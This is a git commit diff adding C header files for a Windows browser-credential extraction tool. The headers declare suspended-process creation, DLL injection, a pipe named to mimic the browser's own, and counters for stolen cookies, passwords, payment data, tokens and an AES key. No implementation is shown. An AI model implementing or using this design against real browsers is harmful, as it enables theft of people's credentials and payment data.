initial commit
This commit is contained in:
+24
@@ -0,0 +1,24 @@
|
||||
#ifndef BROWSER_RESOLVER_H
|
||||
#define BROWSER_RESOLVER_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
typedef struct {
|
||||
wchar_t browser_id[64];
|
||||
wchar_t exe_path[MAX_PATH_LEN];
|
||||
} BrowserInfo;
|
||||
|
||||
typedef struct {
|
||||
BrowserInfo* items;
|
||||
size_t count;
|
||||
size_t capacity;
|
||||
} BrowserList;
|
||||
|
||||
BrowserList* browser_list_create(void);
|
||||
void browser_list_destroy(BrowserList* list);
|
||||
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path);
|
||||
|
||||
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len);
|
||||
BrowserList* browser_find_all_installed(void);
|
||||
|
||||
#endif // BROWSER_RESOLVER_H
|
||||
@@ -0,0 +1,8 @@
|
||||
#ifndef INJECTION_MANAGER_H
|
||||
#define INJECTION_MANAGER_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name);
|
||||
|
||||
#endif // INJECTION_MANAGER_H
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
#ifndef PIPE_COMMUNICATOR_H
|
||||
#define PIPE_COMMUNICATOR_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name);
|
||||
void pipe_destroy(PipeCommunicator* comm);
|
||||
bool pipe_wait_for_client(PipeCommunicator* comm);
|
||||
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path);
|
||||
bool pipe_relay_messages(PipeCommunicator* comm);
|
||||
|
||||
#endif // PIPE_COMMUNICATOR_H
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
#ifndef TARGET_PROCESS_H
|
||||
#define TARGET_PROCESS_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path);
|
||||
void target_terminate(TargetProcess* target);
|
||||
void target_cleanup(TargetProcess* target);
|
||||
bool target_kill_network_service(const wchar_t* process_name);
|
||||
|
||||
#endif // TARGET_PROCESS_H
|
||||
Executable
+49
@@ -0,0 +1,49 @@
|
||||
#ifndef INJECTOR_TYPES_H
|
||||
#define INJECTOR_TYPES_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define MAX_PATH_LEN 512
|
||||
#define DLL_COMPLETION_TIMEOUT_MS 60000
|
||||
#define PIPE_TIMEOUT_MS 10000
|
||||
|
||||
typedef struct {
|
||||
bool verbose;
|
||||
bool extract_fingerprint;
|
||||
wchar_t output_path[MAX_PATH_LEN];
|
||||
wchar_t browser_type[64];
|
||||
wchar_t browser_process_name[64];
|
||||
wchar_t browser_exe_path[MAX_PATH_LEN];
|
||||
char browser_display_name[64];
|
||||
} InjectorConfig;
|
||||
|
||||
typedef struct {
|
||||
int total_cookies;
|
||||
int total_passwords;
|
||||
int total_payments;
|
||||
int total_tokens;
|
||||
int profile_count;
|
||||
char aes_key[256];
|
||||
} ExtractionStats;
|
||||
|
||||
typedef struct {
|
||||
HANDLE process;
|
||||
HANDLE thread;
|
||||
DWORD pid;
|
||||
USHORT arch;
|
||||
} TargetProcess;
|
||||
|
||||
typedef struct {
|
||||
HANDLE pipe;
|
||||
wchar_t pipe_name[256];
|
||||
ExtractionStats stats;
|
||||
} PipeCommunicator;
|
||||
|
||||
typedef struct {
|
||||
uint8_t* data;
|
||||
size_t size;
|
||||
} DllPayload;
|
||||
|
||||
#endif // INJECTOR_TYPES_H
|
||||
Executable
+10
@@ -0,0 +1,10 @@
|
||||
#ifndef INJECTOR_UTILS_H
|
||||
#define INJECTOR_UTILS_H
|
||||
|
||||
#include "types.h"
|
||||
|
||||
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len);
|
||||
bool create_directory_recursive(const wchar_t* path);
|
||||
bool file_exists(const wchar_t* path);
|
||||
|
||||
#endif // INJECTOR_UTILS_H
|
||||
Reference in New Issue
Block a user